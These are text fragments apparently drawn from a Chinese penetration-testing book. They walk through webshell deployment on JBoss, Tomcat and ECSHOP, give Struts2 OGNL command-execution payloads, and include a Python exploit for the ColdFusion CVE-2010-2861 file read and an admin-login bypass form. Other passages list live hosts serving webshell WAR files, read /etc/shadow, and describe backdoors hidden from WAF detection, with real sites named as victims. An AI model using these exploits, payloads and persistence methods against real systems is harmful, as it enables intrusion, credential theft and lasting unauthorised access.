    {"text": "图6-27 获取用户的密码 6．再次登录远程终端 直接打开远程终端连接器，在其中输入用户名“xuanyu”，密码“12703XXX”，然后单击“连接”按钮，很快就成功进入该计算机，如图6-28所示。"},
    {"text": "Systeminfo Default Domain: KIRY-C1AEF31B8B IP Address: 122.138.14.8 Computer Name: KIRY-C1AEF31B8B Current UserName: xuanyu Update Time: 0 day 22 Hour 43 Min 57 Sec Total Memory: 1015 MB Free Memory: 682 MB CPU Speed: 2.7 GHz Cpu Number: 2 Termsrv Port: (3389,3389) Language: Chinese (PRC) Operate System: WIN2003 Window Directory: C:\\WINDOWS System Directory: C:\\WINDOWS\\system32 Hard Disk: C:\\ (NTFS) Total 9.77 Gb, Free 4.02 Gb. Hard Disk: D:\\ (NTFS) Total 29.29 Gb, Free 26.86 Gb. Hard Disk: E:\\ (NTFS) Total 31.81 Gb, Free 27.74 Gb. 几天后，这台机器的FTP服务被取消了，网站也从122.138.14.8搬到了122.138.14.4，且只能用域名www.sow2i.com登录。"},
    {"text": "6.2.4 总结与思考 网络安全与维护是攻击与防护的对立统一，好的攻击就是好的防护，利用从被挂马的计算机中获取的痕迹，反过来渗透入侵者的计算机，也不是不可能的事情。"},
    {"text": "回想反渗透入侵者服务器的过程，突破口只是一个FTP口令，然后就从网页木马到数据库下载，从MD5管理员口令到主机用户口令，最后实现了3389远程桌面登录。"},
    {"text": "在该页面中搜索“jboss.deployment”，并找到“* flavor=URL, type=DeploymentScanner”，单击该超链接，看看能否正常访问，如图6-29所示。"},
    {"text": "本例中WAR文件的真实地址为“http://www.cam*****.com.hk/forum/forumdata/cache/war.war”，当前打开的页面为“http://oa.tsingtaobeer-sales.com:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL”，在该页面找到void addURL()函数，将“http://www.cam*****.com.hk/forum/forumdata/cache/cmd.war”复制到“ParamValue”中，如图6-30所示。 单击“invoke”按钮，将http://www.cam*****.com.hk/forum/forumdata/cache/war.war下载到本地服务器并进行部署，部署成功后会给出相应的提示，如图6-31所示。 图6-30 利用addURL函数下载并部署WAR文件 图6-31 操作成功 6.3.4 应用修改使设置生效 回到主界面，如图6-32所示，在URLList中会看到刚才加入的WAR地址，单击“Apply Change”选项使设置生效。 图6-32 应用修改使设置生效 6.3.5 充实“武器库” 通过观察URLList，发现该列表就是部署WAR的地址。"},
    {"text": "如果通过前面的步骤在URLList中仅仅只有我们自己的地址，那么我们就是第一个获取该服务器的人，在获取服务器的权限后可以对其进行升级和加固，从而可能长期“维护”和使用该服务器。"},
    {"text": "• http://116.232.230.228/xm.war • http://117.67.0.248/wc.war • http://121.207.250.24/war.zip • http://121.207.250.24/war1.zip • http://189.54.19.69:8181/cmd.war • http://189.54.19.69:8181/h2010.war • http://192.168.1.56:8080/System-Console/jsp/test.war • http://203.246.56.27:8080/safe/safe.war • http://210.51.25.183/icons/war.war • http://221.137.124.253:8080/System-Console/jsp/job.jsp • http://221.137.124.253:8080/System-Console/jsp/test.war • http://61.178.73.149/job/no.war • http://blog.avfree.cn/cmd.war • http://blog.xiancn.com/Browser.war • http://blog.xiancn.com/cmd.war • http://jbosstest.webs.com/Browser.war • http://www.acclaimedenterprises.com/tmp/browser.war • http://www.camgear.com.hk/forum/forumdata/cache/Browser.war • http://www.cfblog.com/honeywell/war.war • http://www.laodu.com.cn/ri/hack.war • http://www.nmgfb.com/coody.war • http://www.posumex.com/bdd/user/war.war • http://www.str0m.cn/1.war • http://www.yunxi.net/cmd.war • http://yese.yi.org/cmd.war • http://yese.yi.org/war/cmd.war 可以依次访问这些地址，当然，一个简单的办法是复制这些地址，将其粘贴在FlashGet中，通过FlashGet下载。"},
    {"text": "笔者在测试时就想用WAR文件解决问题，来回折腾了好几次都没有成功，但换成获取的WAR文件就成功了。 将这些好用的WAR文件归入“武器库”，充实“弹药”！"},
    {"text": "6.3.6 获得WebShell 在浏览器地址栏中输入“http://oa.tsingtaobeer-sales.com:8080/war”，测试WebShell能否正常访问，如图6-33所示，看到了熟悉的JSP WebShell页面。"},
    {"text": "需要特别注意的是，在部署过程中，由于WAR文件和网站路径的不同，其访问地址可能会有一些不同，因此需要多进行测试，有的直接可以访问，有的需要添加WAR包的名称。"},
    {"text": "01 在“$ {jboss.server.home.dir}/deploy”下面找到“jmx-console.war”目录，编辑“WEB-INF/web. xml”文件，去掉security-constraint块的注释，使其发挥作用。 02 编辑“WEB-INF/classes/jmx-console-users.properties”或“server/default/conf/props/jmx-console-users.properties(version> =4.0.2)”，以及“WEB-INF/classes/jmx-console-roles.properties”或“server/default/conf/props/jmx-console-roles.properties (version>=4.0.2)”，添加用户名和密码。 03 编辑“WEB-INF/jboss-web.xml”，去掉security-domain块的注释，security-domain值的映射文件为“login-config.xml”（该文件定义了登录授权方式）。"},
    {"text": "• JBoss需要的内存和硬盘空间比较小。 • JBoss安装便捷，解压后只需配置一些环境变量即可。 • JBoss支持热部署，在部署BEAN时，只复制BEAN的JAR文件到部署路径下即可自动加载，如果有改动也会自动更新。"},
    {"text": "通过扫描或者目标服务器开启8080端口，通过IE浏览器直接对该IP地址进行访问，如图6-34所示，获取了JBoss AS的主界面，该界面与JBoss界面类似。"},
    {"text": "图6-35 JBossAS管理控制台 • JMX Console：JMX Console是JBoss中的一个Web应用程序，它可以查看当前装载到JBoss服务器中的MBeans，检查它们当前的状态，并用浏览器读取和写入它们的属性。"},
    {"text": "渗透JBoss服务器的一个方法就是通过jboss. deployment下的“flavor=URL, type=DeploymentScanner”添加一个可下载的WAR地址，从而获得一个WebShell。 图6-36 JMX Console主控制台 • JBoss Web Console：JBoss Web Console主要显示JBoss版本信息、JBoss运行时间、主机IP地址、环境信息、硬件信息及JVM硬件等信息，如图6-37所示，掌握这些信息在渗透过程非常有用。 图6-37 JBoss Web Console主界面 • Tomcat status (full) (XML)：主要用于查看Tomcat的运行Status。 6.4.2 通过JBoss AS部署WebShell 通过JBoss AS部署WebShell的过程如下。"},
    {"text": "01 登录验证 通过Administration Console进入管理控制台，如图6-38所示，有些服务器设置了口令，不过该控制台可以进行暴力破解，可以尝试admin/admin、admin/123456等弱口令组合。"},
    {"text": "图6-38 进入JBoss AS管理控制台 02 查看Web Application（WAR） 单击JBossAS Servers下的“Web Application（WAR）”选项，展开WAR的部署情况。 如图6-39所示，显示了所有已经部署的WAR，管理员可以通过这个界面查看服务器是否被入侵。 图6-39 查看已经部署的WAR 03 上传WAR文件 在Web Application主界面右下方有一个“Add a new resource”按钮，单击该按钮可以部署新的WAR，如图6-40所示。 图6-40 上传WAR文件进行部署 单击“浏览”按钮，选择一个WAR文件，如果没有WAR文件，可执行命令“jar-cvf myshell.war index.jsp”，将WebShell文件index.jsp生成myshell.war。 单击“Continue”按钮继续进行部署，如果部署的WAR文件不是JBoss能够识别的（不是通过jar命令生成的）则会报错，如图6-41所示。 图6-41 部署报错 针对该情况有两种解决方案：一种是自己搭建环境，生成一个WAR文件；"},
    {"text": "重新上传能用的WAR文件，如图6-42所示，部署成功。 图6-42 重新部署WAR文件 04 启动Web Application应用程序 在Web Application中单击刚才部署的WAR文件，可以查看其配置情况。"},
    {"text": "图6-44 运行刚刚部署的WAR应用 6.4.3 获取JSP的WebShell 在地址栏输入“http://202.10.xxx.xxx:8080/war/”进行WebShell的访问测试，如图6-45所示，顺利获取JSP的WebShell界面，输入密码即可进入WebShell进行管理。 图6-45 获取WebShell 如图6-46所示，获取ServerName、ServerPort、Server OS、CurrentUser、CurrentUserFolder、CurrentWorkingDirectory、程序相对路径、程序绝对路径、网络协议、服务器软件版本信息、JDK Version、JDK HomeDir、Java VM、Java VM Name、Java ClassPath、Java LibraryPath、Java TmpFolde、JIT编译器名、扩展Folder路径、客户端信息、RemoteAddress、RemoteHostName、Username、请求方式及应用安全套接字层等信息。"},
    {"text": "6.5 Tomcat弱口令搞定某Linux服务器 对运行JSP服务器的渗透方法与其他脚本的渗透方法稍有不同，JSP网站一般需要通过WAR文件部署程序，对这类网站的渗透，可以通过暴力破解Tomcat用户密码及MySQL、Oracle数据库密码等方法获取WebShell。"},
    {"text": "6.5.1 使用Apache Tomcat Crack暴力破解Tomcat口令 在起始IP地址中输入“216.84.0.1”，在终止IP地址中输入“216.120.0.1”，单击“添加”按钮，将该地址段添加到扫描地址段中，如图6-47所示，其他使用默认设置。 图6-47 暴力破解Tomcat口令 6.5.2 对扫描结果进行测试 在扫描结果中选择“http://216.86.144.162:8080/manager/html”，然后进行登录测试，如图6-48所示，单击“Tomcat Manager”选项进行登录测试，输入用户名和密码进行登录。 图6-48 对扫描结果进行测试 6.5.3 部署WAR格式的WebShell 进入Tomcat Manager管理后台后，到最下方进行WAR文件的部署。 如图6-49所示，单击“浏览”按钮，选择一个WAR的WebShell，该WebShell必须是JSP的WebShell，WAR格式可以在压缩时将后缀名字自定义为“war”。 图6-49 部署war格式的WebShell 6.5.4 查看Web部署情况 文件上传成功后，Tomcat会自动部署WAR文件。"},
    {"text": "部署成功后，可以对部署的JSP WebShell进行启用（Start）、停止（Stop）、重载（Reload）和卸载（Undeploy）操作。 图6-50 查看Web部署情况 6.5.5 获取WebShell 在部署时尽量将JSP文件命名为“index.jsp”，这样在部署成功后访问部署的链接即可，否则需要使用“部署文件夹+具体的WebShell名称”才能正确访问WebShell地址，如图6-51所示。 图6-51 获取WebShell 6.5.6 查看用户权限 在WebShell中单击“系统命令”选项，进入执行命令界面。 如图6-52所示，在文本框中输入“id”，获取系统当前用户的权限等信息。 图6-52 获取当前用户信息 6.5.7 上传其他WebShell 通过获取的WebShell上传一个Jbrowser的WebShell。"},
    {"text": "图6-53 上传WebShell 6.5.8 获取系统加密的用户密码 执行“cat/etc/shadow”命令，获取当前Linux系统中所有用户的加密密码值，如图6-54所示，该密码采用MD5加密，可以通过cmd5.com网站进行破解。 图6-54 获取系统用户密码加密值 6.5.9 获取root用户的历史操作记录 执行“cat/root/.bash_history”命令查看root用户的历史操作记录，只有具有root用户权限才能查看该历史记录文件，如图6-55所示。 图6-55 查看root用户的历史操作记录 6.5.10 查看该网站域名的情况 使用“www.yougetsignal.com”网站的反查IP域名功能，获取该IP地址的两个域名，分别是“communityaccesssystems.com”和“richardliggitt.com”，如图6-56所示，单击该域名查看域名能否正常访问。"},
    {"text": "图6-58 保留网站后门 6.5.13 总结与思考 本节介绍了如何通过Apache Tomcat Crack暴力破解Tomcat口令，只要知道用户的名称，就能通过字典对目标进行暴力破解。"},
    {"text": "Struts通过Java Servlet/JSP技术实现了基于JavaEE Web应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。 目前，Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设，作为网站开发的底层模板使用，是应用最广泛的Web应用框架之一。"},
    {"text": "Struts2曾经使国内很多大型网站沦陷，其漏洞的修复比较困难。 Apache Struts2是一个应用框架，它的漏洞并不像Windows一样，及时将补丁推送给用户，用户更新即可解决问题，而是需要站长或网站维护人员自己去更新。"},
    {"text": "Site可以是“com”、“cn”、“org”和“ca”等，表示域名的最后属地，也即渗透测试的方向，如“com.cn”、“cn”和“org.cn”等都是中国的网站。"},
    {"text": "图6-60 对测试目标进行检索 6.6.2 测试网站能否正常访问 在Google检索记录中随机选择一条记录进行查看。 打开该链接地址，如图6-61所示，测试该网站是否存在或者能否正常访问，如果能够正常访问，表明可以对该网站进行下一步测试。"},
    {"text": "图6-61 测试网站是否正常 6.6.3 测试Struts2 S016漏洞 运行Structs2漏洞利用工具，如图6-62所示，将“http://www.alliette.com.hk/index.action”复制到Action中，路径填写为“me.jsp”（路径可以自定义，自定义便于隐藏和识别）。 文件内容使用JSP木马，也就是用“记事本”打开该JSP木马文件，复制代码内容到文件内容中，单击“开始”按钮进行实际漏洞测试，在“logs”文本框中会提示漏洞测试情况，如果显示“getshell ok”，则表示存在漏洞并成功上传JSP木马到当前目录，木马访问地址为“漏洞利用URL+路径”，在本例中为“http://www.alliette.com.hk/me.jsp”。 图6-62 测试网站是否存在漏洞 6.6.4 获取WebShell权限 在浏览器地址栏中输入WebShell的地址“http://www.alliette.com.hk/me.jsp”进行测试，如图6-63所示，成功获取WebShell权限。"},
    {"text": "如图6-64所示，获取的WebShell为服务器权限，后续测试工作就不再继续进行了。 图6-63 获取WebShell权限 图6-64 获取WebShell为服务器权限 6.6.5 思考与总结 本节介绍了Structs漏洞的具体利用方法，只要掌握了基础知识，通过漏洞利用工具可以快速渗透存在漏洞的目标站点。"},
    {"text": "POC1 http://127.0.0.1/Struts2/test.action?('\\43_memberAccess.allowStaticMethodAcc ess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75f alse')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collection s@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d)) POC2 http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStatic MethodAccess%22]=true,@java.lang.Thread@sleep(5000))%2b' POC3 http://127.0.0.1/Struts2/hello.action?foo=%28%23context[%22xwork.MethodAcces sor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAcc ess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang .Thread@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true POC4 http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath=(%23context% 5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(fal se)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40j ava.lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')] POC5（执行了2次，所以是10秒） http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMe thodAccess%22]=true,@java.lang.Thread@sleep(5000)} 执行cmd命令的POC，将回显“webStr\\75new\\40byte [100]”修改为合适的长度，具体如下。"},
    {"text": "POC1 http://127.0.0.1/Struts2/test.action?('\\43_memberAccess.allowStaticMethodAcc ess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75f alse')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\75@java.util.Collection s@EMPTY_SET')(c))&(g)(('\\43req\\75@org.apache.struts2.ServletActionContext@getReq uest()')(d))&(h)(('\\43webRootzpro\\75@java.lang.Runtime@getRuntime().exec(\\43req. getParameter(%22cmd%22))')(d))&(i)(('\\43webRootzproreader\\75new\\40java.io.DataIn putStream(\\43webRootzpro.getInputStream())')(d))&(i01)(('\\43webStr\\75new\\40byte[ 100]')(d))&(i1)(('\\43webRootzproreader.readFully(\\43webStr)')(d))&(i111)(('\\43we bStr12\\75new\\40java.lang.String(\\43webStr)')(d))&(i2)(('\\43xman\\75@org.apache.st ruts2.ServletActionContext@getResponse()')(d))&(i2)(('\\43xman\\75@org.apache.stru ts2.ServletActionContext@getResponse()')(d))&(i95)(('\\43xman.getWriter().println (\\43webStr12)')(d))&(i99)(('\\43xman.getWriter().close()')(d))&cmd=cmd%20/c%20ipc onfig POC2 http://127.0.0.1/Struts2/test.action?id='%2b(%23_memberAccess[%22allowStatic MethodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest (),%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)), %23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer =new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.S tring(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getRespons e(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig POC3 http://127.0.0.1/freecms/login_login.do?user.loginname=(%23context[%22xwork. MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_mem berAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@o rg.apache.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@g etRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.Da taInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23iswinreade r.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),%23response=@ org.apache.struts2.ServletActionContext@getResponse(),%23response.getWriter().pr intln(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set POC4 http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath=(%23context%5 b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false) ,%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.str uts2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime(). exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.InputStre amReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%2 3c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getRespon se().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(aa)&x[(class.cla ssLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an POC5 http://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMe thodAccess%22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest() ,%23exec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%2 3iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer=n ew%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.St ring(%23buffer),%23response=@org.apache.struts2.ServletActionContext@getResponse (),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c% 20set 6.7 JspRun！"},
    {"text": "是北京飞速创想科技有限公司推出的一套通用的社区论坛软件系统，用户可以在不需要任何编程的基础上，通过简单的设置和安装，在互联网上搭建功能完善、高负载能力和可高度定制的论坛服务。"},
    {"text": "这是一个经过完善设计的、适用于各种服务器环境的高效的论坛系统解决方案，Struts、Hibernate框架及中间件的结合既实现了业务逻辑与控制逻辑的有效分离，提高了层次结构的清晰度，提高了复用的粒度，降低了开发和维护的代价，又保证了软件的质量，使其更具有鲁棒性和可维护性。"},
    {"text": "图6-65 进入后台设置界面 6.7.2 新增模板 在系统设置首页中，单击“模板编辑”选项，可以看到系统默认的5套模板，分别是默认模板套系、喝彩奥运、深邃永恒、粉状精灵和2008year。"},
    {"text": "新增一套模板，模板名称可以随意取，在本例中取名为“111”，所在目录设置为已经存在的目录“./include”，然后单击“提交”按钮完成模板的编辑，如图6-66所示。 图6-66 创建模板 6.7.3 在模板中创建文件 在“模板维护”设置区可以看到显示为绿色的“jsprun_version”及“test”模板，单击项目可以进行编辑，也可以新增模板文件。 如图6-67所示，输入模板名称“shell”，单击“提交”按钮，并在“shell”模板文件中粘贴“shell”文件中的代码，保存后即可获取Shell。 图6-67 新增模板文件shell 6.7.4 测试并访问Shell Shell地址与模板目录有关，地址为“网站地址+模板目录+模板文件名”，如图6-68和图6-69所示，本例中Shell的地址为“http://www.somesite.com/include/shell.php”。"},
    {"text": "String export = request.getParameter(\"export\"); //直接获取，没有安全过滤 if(export!=null){ List<Map<String,String>> styles=dataBaseService.executeQuery(\"SELECT s.name, s.templateid, t.name AS tplname, t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid WHERE styleid='\"+export+\"'\"); //进入查询语，执行了... if(styles==null||styles.size()==0){ 测试方法如下。 http://www.somesite.com/admincp.jsp?action=styles&export=1' and 1=2 union select 1,2,3,4,user()-- and ''=' 笔者对JspRun！"},
    {"text": "首先输入网站后台登录地址（http://www.xxxxxx.com/admin）进行测试，查看后台是否为默认地址，然后输入管理员用户名“admin”、密码“admin”及验证码进行初步登录测试，如图6-71所示，后台登录功能正常，能够对错误密码进行提醒。 图6-71 后台地址功能测试 说明 （1）有些CMS系统会给出相当于蜜罐的默认后台登录地址，这个登录地址是一个虚假的地址，放在后台中就是为了迷惑入侵者。"},
    {"text": "注意 （1）进入后台以后，先查看ECSHOP管理中心默认显示的信息，在本例中能够看到该程序的版本为“v2.7.2 RELEASE 20100604”，且后台提示有2个版本的最新补丁，分别是“最新版本: v2.7.3 released 20121106”和“最新补丁:27320130708014”。"},
    {"text": "6.8.3 前台插入一句话后门代码 通过Google搜索关键字“ecshop后台webshell”，获取了多篇讨论该话题的文章。 通过查看网页获取利用方法，在ECSHOP前台“留言板”进行留言，在内容中插入一句话后门代码“<?php eval($_POST[cmd]);?>”，电子邮箱和主题可随便填写，如图6-72所示，然后发表留言。 图6-72 在留言板中插入一句话后门代码 6.8.4 查看留言内容 留言发表后，还需要到后台进行查看。 在ECSHOP的管理界面查看会员留言，如图6-73所示，可以看到刚才的留言已经成功提交。"},
    {"text": "图6-73 查看留言内容 6.8.5 自定义备份ecs_feedback表 在后台中依次单击“数据库管理”→“数据备份”选项，如图6-74所示，在其中选择“自定义备份”选项，目的是让备份出来的文件尽量小一些。"},
    {"text": "图6-74 数据库备份 如图6-75所示，单击“开始备份”按钮进行数据库备份。 数据库备份成功后提示“备份成功”，并给出备份的文件名称“ok.php.sql”，如图6-76所示，单击该名称可以直接打开备份文件。"},
    {"text": "图6-75 设置备份的文件名称 图6-76 备份成功 6.8.6 成功获得WebShell 使用“中国菜刀”一句话后门连接工具，输入Shell的地址“http://www.somesite.com/data/sqldata/ok2.php.sql”，并设置密码为“cmd”，打开后如图6-77所示，成功获取网站的WebShell。 图6-77 后台获取WebShell 6.8.7 查看数据库备份文件 通过“中国菜刀”的管理器下载并查看该文件，可以看到文件中包含一句话后门代码，如图6-78所示。"},
    {"text": "该漏洞的利用原理就是Apache的文件解析漏洞。 因为Apache文件解析漏洞就是针对文件名是“ok.php.sql”形式的文件，只要最后的文件扩展名是Apache无法解析的，就会按照PHP文件来解析它。 在这里，SQL文件就是Apache不能解析的文件，因此理所当然地把这个文件当做PHP文件执行。 所以，如果是Apache+PHP，即使文件名变成了上面的形式，也可以正常解析，我们需要做的就是单击备份后的超链接。"},
    {"text": "图6-78 数据库备份文件内容 6.8.8 ECSHOP管理中心SQL查询 ECSHOP后台还提供了SQL查询功能，利用方法为：依次单击“数据库管理”→“SQL查询”选项，如图6-79所示，在其中直接输入语句即可。"},
    {"text": "图6-79 查看数据库 例如，查看数据库，输入“show databases”，即可获取数据库的详细名称，还可以查看数据库中的表和表中的内容等，如图6-80所示。"},
    {"text": "6.9 0day分析之COLDFUSION本地包含漏洞的利用方法 CVE-2010-2861（http://cve.scap.org.cn/CVE-2010-2861.html）是在Adobe ColdFusion 9.0.1及之前版本的管理控制台中存在多个目录遍历漏洞。"},
    {"text": "远程攻击者可借助向“CFIDE/administrator/”中的“CFIDE/administrator/settings/mappings.cfm”、“logging/settings.cfm”、“datasources/index.cfm”、“j2eepackaging/editarchive.cfm”和“enter.cfm”发送的locale参数读取任意文件。"},
    {"text": "6.9.2 0day使用方法测试 1．测试是否存在漏洞 在浏览器地址栏中输入“http://192.168.44.129:8500/CFIDE/administrator/enter.cfm”，其参数中存在locale本地包含漏洞，利用方法是根据locale构建。 例如，输入“http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\logs\\server.log%00en”，如果存在漏洞，会爆出server.log文件的详细信息，如图6-81所示。 图6-81 测试是否存在漏洞 文件可以是application.log、server.log、eventgateway.log，要根据实际情况进行测试。"},
    {"text": "文件还可以是磁盘上的任意文件，如图6-82所示，读取boot.ini文件的内容，具体如下。 图6-82 读取磁盘上其他文件的内容 http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\ ..\\..\\..\\..\\boot.ini%00en 2．利用URL注入application.log日志文件 利用<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>方法构造一个地址，通过访问一个不存在的页面将URL内容写入日志文件。"},
    {"text": "输入“http://192.168.44.129:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL. u%23 %20PATH%3D%23URL.p%23 %20FILE%3D%23URL.f%23 %3E.cfml”，如图6-83所示，会给出找不到文件的错误提示。 图6-83 文件未找到错误 这时就会把“<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>”注入application.log了，如图6-84所示。 图6-84 将URL内容写application.log日志文件 3．获取Shell 事先准备一个shell.cfm，将该文件保存为TXT文件，如“http://www.antian365.com/tools/cfm. shell.txt”，然后在浏览器的地址栏中输入http://192.168.44.129:8500//CFIDE/administrator/enter.cfm? locale=..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\logs\\application.log%00en&u=http://192.168.44.129:8500/1.txt&p=C :\\ ColdFusion8\\wwwroot&f=shell.cfm，即可在根目录下获取shell.cfm。"},
    {"text": "图6-85 获取WebShell 4．获取管理密码 password.properties文件一般位于“C:\\ColdFusion8\\lib\\”文件夹下，只要读取该文件的信息，就可获取加密的密码，如图6-86所示，示例如下。 图6-86 获取Goldfusion管理密码 http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\ ..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en 6.9.3 LFI to Shell in Coldfusion 6-10利用方法分析 LFI获取Goldfusion 6-10版本Shell的方法（LFI to Shell in Coldfusion 6-10），原文见http://hatriot.github.io/blog/2014/04/02/lfi-to-stager-payload-in-coldfusion/。"},
    {"text": "<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'> 使用CFM的CFHTTP标签执行一个HTTP请求，取得Web服务器192.168.1.97:8000上的cmd.cfml文件。"},
    {"text": "1．读取password.properties文件 根据exploit-db网站公布的利用方法，POC的下载地址为http://www.exploit-db.com/exploits/14641/，代码如下，主要功能是读取管理员密码。"},
    {"text": "python 14641.py ip port ../../../../../../../lib/password.properties python 14641.py 192.168.44.129 8500 ../../../../../../../lib/password.properties import sys import socket import re # in case some directories are blocked filenames = (\"/CFIDE/wizards/common/_logintowizard.cfm\", \"/CFIDE/administrator/archives/index.cfm\", \"/cfide/install.cfm\", \"/CFIDE/administrator/entman/index.cfm\", \"/CFIDE/administrator/enter.cfm\") post = \"\"\"POST %s HTTP/1.1 Host: %s Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: %d locale=%%00%s%%00a\"\"\" def main(): if len(sys.argv) != 4: print \"usage: %s <host> <port> <file_path>\" % sys.argv[0] print \"example: %s localhost 80 ../../../../../../../lib/password.properties\" % sys.argv[0] print \"if successful, the file will be printed\" return host = sys.argv[1] port = sys.argv[2] path = sys.argv[3] for f in filenames: print \"------------------------------\" print \"trying\", f s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) s.send(post % (f, host, len(path) + 14, path)) buf = \"\" while 1: buf_s = s.recv(1024) if len(buf_s) == 0: break buf += buf_s m = re.search('<title>(.*)</title>', buf, re.S) if m != None: title = m.groups(0)[0] print \"title from server in %s:\" % f print \"------------------------------\" print m.groups(0)[0] print \"------------------------------\" if __name__ == '__main__': main() 2．Adobe ColdFusion 9管理员绕过漏洞 将以下代码保存为test.html，加入hostname直接提交，可以绕过Adobe ColdFusion 9认证登录后台系统。"},
    {"text": "<form action=\"http://[HOSTNAME]/CFIDE/adminapi/administrator.cfm?method=login\" method=\"post\"> <input type=\"hidden\" name=\"adminpassword\" value=\"\"> <input type=\"hidden\" name=\"rdsPasswordAllowed\" value=\"1\"> <input type=\"submit\"> </form> 参考资料 • http://www.exploit-db.com/exploits/27755/ • http://www.exploit-db.com/exploits/30210/ • http://drops.wooyun.org/tips/1410 6.10 一种新型PHP网站后门隐藏技术研究 网站后门是网站渗透必备利器之一，后门隐藏技术的优劣决定了网站权限的生存期。"},
    {"text": "在这种情况下，本节针对目前流行的PHP后门隐藏技术，提出一种在Windows环境下的新型PHP网站后门隐藏技术，使后门文件不出现在网站目录下，并能绕过基于后门特征和后门变形特征的查杀。"},
    {"text": "“梦之光芒”提出的构建程序逻辑后门绕过后门特征检测和数据传递溯源检测的方法，对绝大部分网站维护人员有用，但对比较程序文件MD5值检测网站是否存在后门的手段就无能为力了。"},
    {"text": "在网络攻防对抗中，陆续出现了安全狗、安全宝等针对网站入侵检测的软件和安全服务提供商，他们提供了专业的Web应用防护系统WAF（Web Application Firewall），这些系统能够拦截常见的网站后门，对攻击进行预警和报警。"},
    {"text": "而数据传递隐藏则通过把日志文件中记录的文件名和行数的代码上报后端，与后端SVN中的代码进行对比，如果不一致，则认为是一个WebShell。"},
    {"text": "随着网络安全技术在民间的普及，被攻击方发现入侵后安全意识的提高，防护手段的加强，特别是聘请专业安全公司进行安全评估和加固、部署安全狗等后门监控软件大大提高了后门存活的难度，因此，如何在获取权限的网站深埋后门具有一定的实际意义。 本节对常见的PHP WebShell后门技术进行分析和研究，通过实验成功得到一种新型的后门留取方法——不修改网站的任何代码，通过修改原有Windows PHP环境的配置，仅需简单的操作即可长期隐蔽使用网站后门。 后门可以是网站的任意PHP正常文件，可以绕过Web防火墙。"},
